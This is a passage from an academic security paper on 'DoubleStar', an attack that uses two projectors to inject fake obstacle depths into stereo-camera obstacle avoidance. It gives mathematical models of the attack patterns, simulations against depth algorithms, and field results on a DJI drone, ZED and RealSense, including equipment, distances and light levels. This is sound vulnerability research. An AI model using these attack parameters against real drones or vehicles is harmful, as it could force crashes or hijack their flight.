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(a) Human binocular vision (b) Camera stereo vision (c) Triangulation in depth estimation

Figure 2: Depth estimation in stereo vision.

2.1 Depth Estimation from Stereo Vision
Stereo vision-based depth estimation transforms 2D images
into the perception of the 3D depth map, which contains in-
formation related to the distance of the scene objects from the
stereo camera [62]. Depth estimation algorithms are mostly
used in autonomous systems to detect and avoid obstacles.
The main idea of depth estimation using a stereo camera
involves the concept of stereo matching and triangulation.

In essence, stereo camera resembles human binocular vi-
sion shown in Fig. 2a, which is composed of two lenses with
a separate image sensor for each lens, i.e., left image and right
image in Fig. 2b [61]. Binocular disparity in Fig. 2a refers
to the difference in the image location of an object seen by
the left and right eyes, resulting from the eyes’ horizontal sep-
aration. Binocular disparity is the basis for extracting depth
information from 2D retinal images in stereopsis [60]. For
example, in Fig. 2a, PL and PR represent the corresponding
images of P shown on the left and right retinas, while QL
and QR are the corresponding images of Q. The binocular
disparities introduce a difference in the sensed depth of P and
Q. Likewise, the disparity in the stereo camera refers to the
difference in the coordinates of similar features in two images,
e.g., PL and PR in Fig. 2b.

Triangulation method is used by stereo vision to calculate
depth [4]. For example, in Fig. 2c, OL and OR represent the left
and right optical centers in the stereo camera. The intersection
points PL and PR are on the left and right images, respectively.
The depth of point P is calculated using similar triangles,
4PLPPR and 4OLPOR, donated as 4PLPPR ∼ 4OLPOR.
Suppose the horizontal axis values of PL and PR are pl and pr,
respectively. Since the ratio of corresponding sides is equal
in similar triangles, we have:

b
z
=

b+ pr− pl

z− f
, (1)

where z is the depth of point P, f is the focal length of the
camera, b is the baseline (distance between the two camera
optical centers), pl − pr is the disparity between PL and PR.
Therefore, we can derive the depth of point P as:

z =
f ·b

pl− pr
. (2)

Triangulation relies on the stereo matching, which establishes
the pixel correspondence between primitive factors in images,

e.g., PL in the left image corresponds to PR in the right image
in Fig. 2b. Once the stereo correspondence is established, we
can compute each pixel’s disparity in the images to form a
disparity map, which can be converted into a 3D depth map
using Eq. (2). However, certain interference factors, such as
illumination, noise, and surface physical characteristics, could
induce ambiguous correspondence between points in the two
images, e.g., the depth estimation algorithm falsely takes PL
in the left image as the correspondence of QR in the right
image in Fig. 2b. Such ambiguous correspondence caused by
stereo mismatching may lead to inconsistent interpretations
of the same scene, aggravating the false depth calculation.

2.2 Lens Flare Effect

Lens flare effect [14, 29] is a phenomenon caused by the
scattering and reflection of a bright light through a non-ideal
lens system, where several undesirable artifacts appear on
an image (Fig. 3a). Ideally, all light beams should pass di-
rectly through the lens to reach the image sensor, and they
will form a bright glare in the image. However, due to lens
imperfections, a small portion of the light will be reflected
several times within the lens system before reaching the im-
age sensor. Such reflections will result in multiple artifacts on
the image. Under normal light conditions, these artifacts are
usually invisible. However, when a strong light source (e.g.,
sun, light bulb, projector) is present, the lens flare becomes
more visible and washes out the entire image.

Anti-reflection coatings on the lenses of the commercial
cameras are often used to mitigate the lens flare effect by
filtering out most reflections [22], but these lenses still suffer
from the green-color flare orb if a strong white-light source
is present. Note that, according to our experiments, the rela-

(a) (b)

Figure 3: (a) Lens flare effect; (b) the relationship between
the light source and the orb’s position.
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(a) Left and right images (b) Depth map (c) 3D point cloud

(d) Left and right images (e) Depth map (f) 3D point cloud

Figure 4: DoubleStar on ZED stereo camera during the daytime. (a) to (c) shows the example of X-shape beams attack from 9m
away, and (d) to (f) showcase the trapezoid-shape orbs attack from 2m away. In the depth map, 100% white means the closest
distance and black means the furthest. The 3D point cloud is the reconstruction of the 3D scene based on the depth map.

tionship between the green-color orb’s position and the white-
light source is centrosymmetric as illustrated in Fig. 3b3. In
fact, most of commercial cameras nowadays have applied the
anti-reflection coatings [12].

3 Vulnerability in Depth Perception

In this section, we first present the vulnerabilities of depth
perception in computer vision exploited by DoubleStar, and
then we illustrate the main experimental observations that
lead to the design of DoubleStar.

The main root cause of the vulnerabilities in depth esti-
mation algorithms is their lack of higher-order perceptions.
Unlike human perception, such algorithms do not base their
decisions on personal experience. Instead, they aim to match
similar features (e.g., shapes, colors) with high confidence
as stereo correspondence, as long as they are in relatively
reasonable positions in the left and right images. Therefore,
most depth estimation algorithms can be affected by physical
perturbations. Our experiments demonstrate that strong light
beams and lens flare orbs can induce wrong depth perception
due to the light beams mismatching and false orbs matching.

Light Beams Mismatching. As shown in Fig. 4a, an at-
tacker injects the light beams with the same projection inten-
sity using two projectors (i.e., P and Q) into the right and
left cameras, respectively. It can be observed that one of the
injected light sources is brighter than the other one when
received by the camera, which becomes a more prominent
feature in the image. For example, Q is targeting the left cam-
era, so the light source shown on the left image from Q is
brighter than that from P. Such phenomenon causes the depth

3In crystallography, a centrosymmetric point group contains an inversion
center as one of its symmetry elements. For example, points M and N in Fig.
3b are centrosymmetric to each other, i.e., if the coordinate of M in the 2D
image is (a,b), the coordinate of N will be (−a,−b).

estimation algorithms to mismatch the two highlighted light
sources in the images as the same object due to the afore-
mentioned weakness in depth perception. As a result, a fake
near-distance depth is created in the depth map (Fig. 4b) and
visualized in the 3D point cloud (Fig. 4c). By adjusting the
distance between projectors and the stereo camera, as well as
the distance between two projectors, different fake obstacle
depths can be created.

False Orbs Matching. Fig. 4d shows an example that the
two orbs generated by the strong light sources in the stereo
images can mislead the depth perception to falsely identify
them as a 3D obstacle. By matching them as the stereo cor-
respondence of one another, the targeted depth estimation
algorithm outputs a fake depth in depth map (Fig. 4e) and a
corresponding 3D fake obstacle in 3D point clouds (Fig. 4f).
Due to the centrosymmetry of the light source and the orb,
the attacker is able to adjust the angle of the injected light
to control the orb’s position. Exploiting such a phenomenon,
theoretically, an attacker could adjust the positions of the two
orbs in the stereo camera to manipulate the fake depth values.

4 Threat Model

In this section, we present the threat model of this work, in-
cluding the attack goal, the attacker’s capability, and the attack
scenarios. The attacker’s goal is to disrupt regular operations
of autonomous systems by injecting fake depth, and further
lead to unintended system behaviors. For example, an attacker
can force a drone into a severe crash, e.g., hitting a tree, by
changing the depth of a real obstacle.

Our attack is a fully black-box attack against general stereo
vision based depth estimation algorithms used in OA systems.
An attacker has no physical access to the hardware or firmware
of the attack target, nor does he/she have access to the camera
images. An attacker also has no prior knowledge about the
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(a) X-shape attack (b) Trapezoid-shape attack (c) Triangle-shape attack

Figure 5: Three different attack patterns are used in beams and orbs attacks. The orange circle represents the appearance of the
injected light (glare) in the image, and the dotted white circle stands for the position of the light source which is not aiming at the
camera. Green small circles stand for the orbs.

depth estimation algorithms used in the OA system.
We consider an attack target is equipped with a stereo cam-

era for OA. For drone attacks, we further assume the drones
operate in a flying mode, such as Positioning (P) Mode in DJI
drones [8] or Loiter Mode in Ardupilot [2], where a human
operator controls the drone with the assistance of the OA.
However, once an obstacle is detected within its OA range,
the OA in the autonomous system makes decisions preceding
any human input, i.e., it takes precedence over the pilot/driver.
As an example, when an obstacle is detected in front of the
drone within the safety margin of OA, the drone will stop
moving forward even if the pilot pushes forward the throttle.

5 DoubleStar

This section introduces the design of DoubleStar, including
the beams attack and orbs attack, and analyzes these attacks
via mathematical models.

5.1 Attack Overview
DoubleStar exploits the vulnerabilities in the depth percep-
tion. Certain interference factors can cause ambiguous cor-
respondences between points in the two images, which can
lead to alternative interpretations of the scene. We design
the beams attack using two light sources to form glares on
the images which can cause false stereo correspondence in
depth estimation algorithms and further lead to fake depth
creation. Besides, when a light source is targeting the camera,
the lens flare effect will bring in an orb in the image which is
centrosymmetric to the injected light source. The orbs attack
mainly utilizes this phenomenon to fool the depth estimation
algorithms by matching the two generated orbs in two images
as the stereo correspondence. Fig. 5 presents the design of the
beams attack and orbs attack with three attack patterns. P and
Q are the light sources, e.g., projectors. Their corresponding
position in the left and right image in the stereo cameras are
PL, QL, PR, QR, respectively. A green orb is centrosymmetric
to the injected light source in each image.

We design three different patterns for both beams and orbs
attacks, as shown in Fig. 5: 1) X-shape attack (Fig. 5a): P is

pointing to the right camera while Q is aiming at the left cam-
era. Trapezoid-shape attack (Fig. 5b): P is targeting the left
camera whereas Q is pointing to the right camera. Triangle-
shape attack (Fig. 5c): P and Q are covering the left and right
cameras at the same time. Here, we define the depth of near-
distance fake obstacles as the one smaller than the true depth
of the light source, and define the depth of far-distance fake
obstacles as the one greater than the true depth.

5.2 Beams Attack

5.2.1 Attack Design

X-shape Attack. Using X-shape attack pattern (Fig. 5a), P
and Q form the corresponding glares PR and QL, respectively.
With certain constraints on the perpendicular distance and
included angle between the light sources and the stereo cam-
era, the targeted depth estimation algorithm falsely takes PR
as the stereo correspondence of QL. As a result, it outputs a
near-distance fake depth since the disparity becomes larger
than the real one. Fig. 4a illustrates a real-world scenario of
the X-shape beams attack which produces a near-distance
fake depth (Fig. 4b), when the real depth of the projectors are
9m away from the stereo camera.

Trapezoid-shape Attack. As shown in Fig. 5b, by using
the trapezoid-shape attack pattern, the glares PL and QR are
generated by P and Q. Similarly, with certain constraints
on the distance and angle, the depth estimation algorithm
matches PL and QR as the same object. However, it only
works when the glares approach the center of the image, oth-
erwise, no fake depth can be generated, the reason of which
is explained in Section 5.2.2. Since the glares cover multiple
pixels, the algorithm will output a far-distance fake depth,
overshadowing the real obstacle depth. The generated fake
depth merges into the background depth, which cannot be
identified by human eyes. However, we confirm that the fake
depth can be perceived by the stereo cameras.

Triangle-shape Attack. Fig. 5c shows the triangle-shape
beams attack where the two light beams cover both the left
and right cameras. Hypothetically, when the injected light
intensities from P and Q reflected on both left and right images
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(a) Beams attack: b > d (b) Beams attack: b < d (c) Orbs attack: b > d (d) Orbs attack: b < d

Figure 6: Obstacle positions in beams attack (a-b) and orbs attack (c-d) in two attack scenarios. b is the baseline of the stereo
camera, and d is the distance between the two light sources. P and Q represent the positions of the two light sources, and OL
and OR represent the left and right optical centers of the stereo camera. z is the true depth of the light sources, corresponding
to the perpendicular distance between the projectors and the stereo camera. PL and QL are the intersections of P and Q on the
left image, while PR and QR are the intersections on the right image. Q′L, Q′R, P′L and P′R are the location of the orbs. FX and FT
represent the fake obstacle positions corresponding to the X-shape and trapezoid-shape attack, where the red color implies the
existence of fake obstacles while blue implies their non-existence in theory.

are equal to each other, the depth estimation algorithm will
match PL and PR as the same object. Similarly, QL and QR
will also be matched as the stereo correspondence. Thus, the
algorithm outputs the true depths of P and Q. However, in a
real-world attack, when the injected light intensities on the left
and right cameras slightly differ, the triangle-shape attack will
be transformed into the X-shape or trapezoid-shape attack.

5.2.2 Mathematical Modeling and Analysis

Since the triangle-shape attack is essentially the X-shape or
trapezoid-shape attack, we conduct a mathematical analysis of
these two most basic attack patterns. Figs. 6a and 6b present
the mathematical model for beams attacks.

Suppose the depth of FX and FT are zx and zt , respectively.
The corresponding coordinates of PL, PR, QL and QR are pl ,
pr, xl and xr. Based on Eq. (2), the disparity of point P is:
pl − pr =

f ·b
z . Moreover, since 4OLQP ∼ 4OLQLPL, we

have: z
f =

d
ql−pl

, ql =
f ·d
z + pl . The disparity of FX is:

ql− pr =
f ·d
z

+ pl− pr =
f · (d +b)

z
. (3)

Thus, from the Eqs. (2) and (3), we obtain the fake depth zx:

zx =
b

d +b
· z. (4)

Obviously, zx < z, which indicates that the fake obstacle FX
created by the X-shape attack is nearer to the stereo camera
than the light sources as shown in Figs. 6a and 6b. Note
that when 0 < zx < f , FX is non-existent. This follows the
optical imaging principle that the fake depth cannot be shorter
than the focal length f . Such scenario appears either when
the two projectors are too far away from each other or the
perpendicular distance between the projectors and the stereo
camera is too small. In other words, if d is too large or z
becomes too small, the fake obstacles may not be created.
The analysis of a failed attack scenario can be found in the
Appendix A.2.

Similarly, zt can be expressed as:

zt =
b

b−d
· z, (5)

where zt > z if b > d, and zt < 0 if b < d. Correspondingly,
as shown in Fig. 6a, when b > d, FT has a larger depth. Con-
versely, when b < d, FT appears on the opposite side of the
stereo camera, which is non-existent. However, the injected
light is not a single pixel, instead, it contains several blocks
with multiple pixels in the image. The depth estimation al-
gorithm will try to match these blocks in the left and right
images, which could result in a far-distance fake depth. This
special case is marked in blue in Fig. 6b.

5.3 Orbs Attack
5.3.1 Attack Design

X-shape Attack. Fig. 5a shows that the generated green orbs
are centrosymmetric to the glares QL and PR in the left and
right images (see Appendix A.1). Given proper attack dis-
tance/angle, the depth estimation will falsely match the two
orbs as the same object. However, the attack works only when
the orbs approach the image center, otherwise, no fake depth
is created (see Section 5.3.2 for the reason). Since orbs con-
sist of multiple pixels, the algorithm can output a far-distance
fake depth, whose exact value depends on the orbs’ positions.

Trapezoid-shape Attack. Since the orb and the glare are
centrosymmetric, the orb appears at the right of the PL in the
left image, and at the left of the QR in the right image (Fig.
5b). As mentioned before, due to the weakness of the depth
perception, the depth estimation algorithm matches the two
orbs as the same object and outputs a near-distance fake depth
since the disparity is larger than the real one. Fig. 4d shows
that a real-world trapezoid-shape orbs attack is able to create
a near-distance fake depth (Fig. 4e) by matching the two orbs
in the left and right images as the stereo correspondence.

Triangle-shape Attack. Since the projection from P and
Q covers both cameras, four glares PL, QL, PR, and QR appear
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in the left and right images. Based on the centrosymmetric
relationship between the glare and orb, two orbs appear in
each image. The depth estimation matches the orbs in the left
and right image correspondingly. Due to the centrosymmetry,
the depth estimation outputs two fake obstacle depths that are
the same as the light source’s real depth. However, in practice,
since the attacker cannot precisely control every single pixel
in the image, the stereo correspondence will occur either like
Fig. 5a or Fig. 5b. As a result, the fake depth is still created.

5.3.2 Mathematical Modeling and Analysis

Figs. 6c and 6d show the mathematical modeling of orbs at-
tack. The corresponding horizontal coordinates of the orbs Q′L,
Q′R, P′L and P′R are q′l , q′r, p′l and p′r, respectively. In the orbs at-
tack, we also consider two scenarios based on the relationship
between b and d.

Since the orbs and their corresponding injected lights are
centrosymmetric, p′l , p′r, x′l and x′r have the exact opposite
value as pl , pr, xl and xr, respectively. Following the deriva-
tion in Section 5.2.2, zx and zt for orbs attack are:

zx =−
b

d +b
· z, (6)

zt =
b

d−b
· z. (7)

Since zx < 0, it means that FX is non-existent regardless of the
value of d. For the depth of FT , when b < d, zt < z, which in-
dicates that a near-distance depth can be created by trapezoid-
shape attack in Fig. 6d. When b > d, zt < 0, FT appears on the
other side of the stereo camera indicating the non-existence
of the FT . However, since the orbs consist of multiple pixels,
it is still possible for a far-distance fake depth to be formed.
The three special cases are marked in blue.

It is worth noting that when d = b, no fake depth can be
generated in both attacks. In summary, (1) the beams attack
works with all three attack patterns when b > d, and with
X-shape and triangle-shape attack pattern when b < d; (2) the
orbs attack works with trapezoid-shape and triangle-shape
attack when b < d. Comparing the blue and red fake obstacle
points in beams and orbs attack (Fig. 6), we can see that the
beams and orbs attacks complement each other’s performance.
As a result, in a real-world attack, fake obstacles generated
by beams attack and orbs attack can co-exist, and these two
attacks can operate in concert to enhance the attack capability.

6 Simulation

In this section, we first evaluate DoubleStar against drone
in a simulation environment. Then, we simulate the attacks
towards various stereo depth estimation algorithms to verify
the attack impact.

6.1 Drone Attack Simulation
We simulate DoubleStar drone attacks using Ardupilot [2]
and AirSim [31]. AirSim is an autonomous system simu-

lator created by Microsoft, which is used to collect virtual-
environment data in our simulation, while Ardupilot, a popular
drone project, is used to simulate DoubleStar on drones.

Figure 7: The simulation workflow of DoubleStar with
Ardupilot and AirSim.

Fig. 7 shows the workflow in the virtual environment.
Ardupilot is used for simulating MAVProxy as the ground sta-
tion, and ArduCopter as the drone. AirSim provides the sensor
inputs to the ArduCopter. The user first sends commands to
ArduCopter via MAVProxy. Next, ArduCopter sends its states
to AirSim, which provides a simulated environment. After
that, AirSim sends the sensor inputs back to ArduCopter, and
the drone’s OA system processes the received data and makes
the flying decisions to avoid the obstacles.

To attack the drone, we design a depth manipulator and em-
bed it between ArduCopter and AirSim. By injecting different
fake obstacle depths in a realistic scenario, we successfully
demonstrate that our attack can achieve real-time drone con-
trol. For example, to move the drone forward while ignoring
the real obstacle in its path, we can generate a fake target that
is apparently far away. The bright beams would overwhelm
the sensors and make the actual barriers invisible. Conversely,
we could also inject a seemingly close object to stop the drone.
Remarkably, pushing the drone away from its original course
is also possible if the attacker creates a fake object that floats
at a constant distance from the drone by its side. Fig. 8 shows
such an example, where the attacker injects a fake depth to the
front right position of the drone. The drone under attack drifts
away from its heading direction to the left, even as there is no
real obstacle present near the drone. We further demonstrate
this attack in a real-world experiment in Section 7.5.

Other useful drone manipulations, such as drone body shak-
ing and moving backward, are also feasible. For example, by
merely injecting a fake object within the drone’s OA dis-
tance, the drone will move backward. By manipulating the
depth within its OA distance threshold, DoubleStar could
continue as the OA system attempts to steer the drone away.
We consider two shaking patterns for shaking the drone: (1)
front-to-back shaking and (2) left-to-right shaking. In the first
case, we place the fake obstacle depth intermittently with a
specific time interval, e.g., 0.5 seconds. When the drone de-
tects the fake obstacle, it will retreat, only to revert course
when the barrier suddenly disappears. Therefore, the attack
forces the drone to go back and forth alternately, resulting in
front-to-back body shaking. Similarly, we can also generate
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(a) Flying trajectory on the zoom-
in map in Ardupilot

(b) Real flying environment in
AirSim

Figure 8: The ArduCopter under attack drifts away when there
is no real obstacle near the drone.

(a) Attack BM

(b) Attack SGBM

Figure 9: An image patch is attached to left and right images
in both BM and SGBM depth estimation algorithms, and the
result confirms that our attack can compromise these depth
estimation algorithms.

the fake depth on its front left and right alternately within a
short time interval to shake the drone sideways. The demo
video is available on the website.

6.2 Attack Simulation on Stereo Depth Esti-
mation Algorithms

Attacking Classic Algorithms. We simulate the attack to-
wards two classic stereo depth estimation algorithms, i.e.,
block matching (BM) [37] and semi global block matching
(SGBM) [38]. As shown in Fig. 9, we embed a patch on
both images, which deceive both algorithms in generating
unreliable depths. These classic non-AI-based depth estima-
tion algorithms are still pervasive in real devices, due to their
low computational complexity and short real-time delay [70].
However, the state-of-the-art depth estimation algorithms are
mostly driven by AI models, such as convolution neural net-
work (CNN) and recurrent neural network (RNN) [23]. These
algorithms leverage deep neural network (DNN) to learn rep-
resentations from image data to extract the depth information.

Attacking AI-based Algorithms. To verify the generality
of DoubleStar, we test the attack on three state-of-the-art AI-
based stereo depth estimation algorithms, i.e., DispNet [30],
PSMNet [6], and AANet [51]. DispNet is an end-to-end train-
able framework for depth estimation, where a correlation layer
is used to measure the similarity of left and right image fea-

(a) X-shape beams attack

(b) Trapezoid-shape beams attack

Figure 10: Two image patches, P and Q, are attached to left
and right benign images.

tures. PSMNet takes a different approach by directly con-
catenating left and right features, and then 3D convolutions
are used to aggregate the costs to achieve higher accuracy.
AANet uses a cost aggregation method based on sparse points
in conjunction with neural network layers to achieve a faster
inference speed while maintaining comparable accuracy.

Fig. 10 shows examples of X-shape and trapezoid-shape
beams attacks. From Figs. 10a and 10b, we can see two small
image patches are embedded in the stereo image, correspond-
ing to the two light beams (i.e., P and Q). We take this adver-
sarial stereo image pair as the input to the three algorithms.
The corresponding outputs of the three algorithms are shown
in the Fig. 11. We can see that all three algorithms can be
deceived by X-shape beams attack, since a near-distance fake
obstacle is generated as expected. Regarding the trapezoid-
shape beams attack, we expect to see a far-distance fake depth
in the image according to our mathematical analysis. How-
ever, since a far-distance fake obstacle is blended into the
background in the depth map, it can hardly be observed. Note
that, the fake depth value depends on the position of the in-
jected patches, e.g., by separating P and Q away from each
other in the stereo image pair, the fake depth value grows.

Verifying the Attack. We collect the adversarial stereo
images from the real-world attack and use them as input to
these three algorithms. Specifically, we use the stereo image
pairs of X-shape beams attack and trapezoid-shape orbs attack
in Figs. 4a, 4d as input. Their corresponding fake depth maps
from the three algorithms are shown in Fig. 12. It can be
seen that except the orbs attack on AANet, all the attacks
successfully inject fake depth information. For the orbs attack
on AANet, the orbs disappear from the depth map, which may
have been smoothed out by the AANet algorithm.

7 Evaluation

In this section, we evaluate DoubleStar on the depth
estimation-based OA systems used in autonomous systems.
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(a) DispNet (b) PSMNet (c) AANet

Figure 11: Depth maps from DispNet, PSMNet, and AANet.
Each column, from up to down, represents benign depth map,
depth map from X-shape beams attack, and depth map from
trapezoid-shape beams attack. The fake depths are circled.

(a) DispNet (b) PSMNet (c) AANet

Figure 12: Depth maps from DispNet, PSMNet, and AANet.
For each column, the upper depth map is from X-shape beams
attack, and the lower one is from trapezoid-shape orbs attack.
The fake depths are circled.

Specifically, we showcase proof-of-concept DoubleStar on
a commercial drone, DJI Phantom 4 Pro V2, and two stereo
cameras, ZED and Intel RealSense D415. For simplicity, we
refer DJI Phantom 4 Pro V2 as the DJI drone, ZED stereo
camera as ZED, and Intel RealSense D415 stereo camera as
RealSense. We select DJI drone due to its high popularity and
state-of-the-art stereo vision based OA systems [10]. ZED and
RealSense are chosen since they are specially designed for au-
tonomous robotic systems, both of which use the cutting-edge
AI-based algorithms to compute the depth [16, 69].

The experiments aim to measure (1) the range within which
the fake obstacle can be generated, (2) the range of attack
distance, and (3) the range of attack angle within which we
can successfully launch the attacks.

7.1 Experimental Setup

The evaluation setup is shown in Fig. 13, where we have the
DJI drone on the left and two projectors combined with two
zoom lenses on the right in an outdoor environment. The DJI
drone could be switched into ZED or RealSense according

to the setup of different experiments. The throwing ratio is
defined as the ratio between the projection distance and the
size of the projection screen. If an attacker aims to perform
long-distance attacks, he/she would need the projector to have
a larger throwing ratio to concentrate the light beams.

The size of the lenses on the stereo camera is tiny, e.g., the
area of the lens on ZED is 1.3×10−4m2. The throwing ratio
of our projector is also very small, i.e., 1.04 – 1.26, which
means that the projection screen area is at most 0.62 m2 at
1m. Comparing 1.3×10−4m2 with 0.62 m2, we can see that
less than 1% of the projection light can be injected into the
lens. Therefore, to further extend the attack distance, we inte-
grate each projector with a Canon zoom lens (i.e., Canon EF
75-300mm) [29]. In our experiments, the maximum throwing
ratio is increased to 30, when the focal length is adjusted to
300 mm, which implies that 2.5×10−3m2 projection screen
area can be achieved at 1m. Thus, around 12% of the projec-
tion light can arrive at the lens, making the long-range attack
feasible.

Since we have no access to the DJI drone’s sensor data, we
use the DJI drone to read the depth in meters and use the ZED
to verify the left and right images, depth map, and 3D point
cloud. For RealSense, as it does not give us access to its left
and right images, we will only check the depth map to verify
the success of our attack. For the experiments on the DJI
drone, we define the attack as successful if the generated fake
depth is less than 6m, which is the threshold value to trigger
actions of the OA system. For the experiments on ZED and
RealSense, we record it as a success as long as a near-distance
fake depth can be seen in the depth map. We perform each
attack pattern 3 times in every experiment.

During the experiments, the distance between the two pro-
jectors is fixed as 1m. The environmental ambient light levels
are 4000lux and 0lux for day and night, respectively. All the
experiments are conducted outdoor. Unless otherwise speci-
fied, these parameters are the default for all experiments.

Figure 13: Outdoor attack experimental setup: the DJI drone
is on the left and two Epson PowerLite 1771W projectors [11]
combined with two Canon EF 75−300mm zoom lenses are
on the right. We also conduct the experiments on ZED and
RealSense in the experiments. All three attack devices have
a pair of stereo vision sensors. The DJI drone has a primary
camera at the bottom and RealSense has extra infrared pro-
jectors and an RGB camera.
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Table 1: Fake depth range on the DJI drone at night and
during the daytime with different attack patterns. Expected
fake depth is derived from the mathematical model. “None"
means no fake depth can be successfully injected.

Attack
Distance (m)

Expected Fake
Depth (m) Fake Depth Range at Night (m) Fake Depth Range in the Day (m)

X Trapezoid X Trapezoid Triangle X Trapezoid Triangle
1 0.5 0.5 0.5 0.5 None 1.5 1 None
2 0.5 0.5 0.5 0.5 None 0.5 - 1 8 None
3 0.5 0.5 0.5 0.5 0.5 - 16 1 - 1.5 3 None
4 0.5, 1 1 0.5 - 1 10.5 0.5 - 16 0.5 - 1.5 10 - 11 0.5 - 11
5 0.5 1 0.5 11 0.5 - 16 0.5 - 2 5 - 11 1 - 5.5
6 0.5 1 0.5 - 1 12.5 10.5 - 16 1 - 2 5 - 11 1 - 11
7 0.5 1 1 12 -16 6.5 - 16 None None 0.5 - 14.5
8 1 1 0.5-1 12-16 6.5 - 16 None None 1 - 14
9 1 1 None None 1 - 16 None None None
10 1 1.5 None None 1.5 -10.5 None None None
11 1 1.5 None None 1 - 16 None None None
12 1.5 1.5 None None 1.5 - 16 None None None
13 1.5 2 None None 1.5 - 16 None None None
14 1.5 2 None None 10.5 - 14 None None None
15 1.5 2 None None 16 None None None
16 1.5 2 None None None None None None

7.2 Fake Depth Range

Table 1 summarizes the range of fake obstacle depth that the
attacks can achieve on the DJI drone during the daytime and
at night. The default value of the projection light illuminance
is 1.6×104 lux without connecting to any source. We perform
each attack pattern with different attack distances and record
all possible fake depths it generates.

The results show that DoubleStar can achieve maximally
13m attack distance when the fake depth is under 6m (i.e.,
a successful attack). Our attacks can achieve up to 15m in
distance, in which case the depth of a real near-distance object
is converted into the depth of a far-away fake obstacle. Using
all three attack patterns, our attack can generate various fake
depths with the attack distance ranging from 3−8m at night
and 4−6m in the day. However, there are a few cases when
only partial attack patterns work. Specifically, when the at-
tack distance is 1−2m, the triangle-shape attack fails in both
ambient light conditions. The reason is that in these cases the
width of the projection screen is smaller than the baseline,
and no projection light can enter the stereo camera. When the
attack distance is 3m, the triangle-shape attack works at night
but fails in the day due to the strong ambient light. In fact,
during the daytime, only the marginal projection light can
enter the stereo camera, resulting in an injected light intensity
that is too weak to deceive the depth perception. Also, when
the attack distance is more than 8m at night and 6m during the
daytime, both trapezoid- and X-shape attacks fail. The reason
is that the divergent light beams traversing a long distance
significantly weaken the injected light intensity.

It is worth noting that modern cameras are usually equipped
with the auto exposure (AE) control mechanisms [25], which
automatically balance the brightness of the captured image.
The exposure increases if the overall brightness turns dark,
and vice versa. Our results show that the orbs attacks usually
fail during the day, while the beams attacks succeed. This
phenomenon is likely caused by AE, when the brightness of
the injected beams induces a drop of lightness in the image
background. As a result, the orbs become less visible.

(a) Attack range on the DJI drone.
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(b) Attack range on ZED.

Figure 14: Attack range w.r.t. projection illuminances.

Moreover, in order to launch the trapezoid- and X-shape
attacks, the attacker should avoid lights overlapping at the
drone side. To achieve that, the attacker can only use marginal
light to launch these two attack patterns. As a result, the
injected light intensity becomes too weak to attack effectively.
However, overlapping is not an issue for the triangle-shape
attack. That is why the triangle-shape attack can achieve the
longest attack distance. In summary, the range of fake depth is
0.5−16m. This range covers all the possible depths that can
be sensed by DJI drone’s OA system, which makes real-time
drone control possible.

7.3 Range of Attack Distance
The range of attack distance is the key evaluation criterion
in our attack, since no prior work has ever achieved a long-
range drone sensor attack. With the projector’s default light
illuminance, we can achieve up to 13m attack range at night
and 7m attack range during the daytime. Further, we explore
the impact of the projection light intensities on the range of
attack distance on both ZED and DJI drone.

Attack Range Results from Drone. We repeat the exper-
iments with different projector intensities on the DJI drone,
and record the longest distance where our attack is successful
as the corresponding attack range.

Fig. 14a presents the attack distance range on DJI drone
with various projection intensities. Each point in the figure
refers to the longest attack distance at which the fake depth
can be observed. We determine an attack as successful when
the fake depth is observed by the controller. The results show
that at night our attack can achieve up to 15m with the highest
projection intensity, and up to 3m with the lowest projection
intensity. The attack range increases dramatically with the in-
creasing of the projection illuminance below 1.4×104lux and
grows smoothly afterwards. The reason behind it is that the
projection illuminance has a more dominant impact than the
attack distance at the beginning since the light is very concen-
trated; whereas, the light beam becomes more divergent be-
yond 12m, which limits the injected light intensity even with
a higher projection illuminance. On the other hand, our attack
can be up to 7m during the day. The attack range increases
proportionally with the increasing of the projection inten-
sity at the beginning. However, when the luminosity reaches
8.4×103 lux, the attack range value plateaus and remains the
same ever since. It is because as the distance increases, the
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(a) Illustration of three attack an-
gles

(b) Horizontal attack angle θh (c) Vertical attack angle θv (d) Spinning attack angle θs

Figure 15: The maximum attack angle with varying achievable attack distances during the day and at night.

light source becomes less predominant in the image. In addi-
tion, due to the AE control under the strong ambient light, the
camera could view the background environment more clearly.
Thus, false stereo correspondence matching is avoided.

Our results indicate that: (1) as the perpendicular distance
between the DJI drone and the projector increases, a stronger
projection intensity is required to generate the fake obstacle
depth; (2) launching successful DoubleStar at night is easier
than during the daytime due to the influence of the ambient
light; (3) during the daytime, even with a stronger projection
intensity, it is very difficult to achieve a larger attack distance
because the projected light source becomes less predominant
and the environment becomes clearer in the image.

Visualization Results from Stereo Camera. For the at-
tack on ZED, we visualize the image depth map and 3D point
cloud to evaluate the range of attack distance and explore the
relationship between the beams attack and orbs attack.

We conduct the experiments only in the daytime to better
observe the depth. By repeating the experiments with different
projection intensities, we record all attack results for different
attack distances using shades of blue as shown in Fig. 14b. In
the figure, “2" indicates the case when fake depths from both
the beams and orbs attack are observed; “1" indicates that
only fake depth from the orbs attack is observed; “0" indicates
no fake depth is observed. It can be seen that when the attack
distance is 1−2m, only the orbs attack works. It is because
the disparity of these two projectors is too large to be matched
as the same object, which has been discussed in Section 5.2.2.
When the distance is from 3− 8m, both the attacks can be
observed in the depth map and 3D point cloud. However, when
the distance increases to 9−11m, the fake depth can still be
observed from the orbs attack with stronger light intensities,
but not from the beams attack. This can be attributed to the
weak light intensity which is insufficient for beams attack
to succeed, but the lens flare effect is unaffected. Note that
both attacks are invisible with a weaker projection intensity
because of the low luminosity. When the distance goes beyond
12m, the light is too weak to execute any successful attack due
to the more divergent light beam. We observed that within the
successful range, the orbs attack usually outperforms beams
attack within the short attack range, whereas beams attack
becomes more evident as the attack range increases.

Our results indicate that: (1) merging the beams attack
with orbs attack helps increase the attack range; (2) the orbs
attack is more resistant to the weak projection intensity than
the beams attack; (3) DoubleStar can achieve up to 11m in
the day with a strong projection intensity on ZED.

7.4 Relative Positions of Attacker and Drone
In this section, we evaluate the attack performance with re-
spect to the relative positions of the attacker and drone. Specif-
ically, we define three types of attack angles, including hori-
zontal attack angle, vertical attack angle and spinning attack
angle. As shown in Fig. 15a, we define the horizontal and
vertical angle as the included angle between the center point
of the two attack projectors and the attack target, denoted as
θh and θv respectively. Spinning attack angle is defined as
the included angle between the two projectors and the attack
target (θs) at the ground plane. We perform the experiments
on DJI drone to evaluate the impact of attack angles.

In all the following experiments, we fix the attack range and
change the horizontal/vertical/spinning attack angles. Then,
we record the maximum attack angle to launch a successful
attack, with respect to the varying attack distances z between
the attacker and drone in Fig. 15a.

Horizontal Attack Angle θh. The horizontal field of view
(FOV) of the DJI drone is 60° [10], i.e., when the θh is more
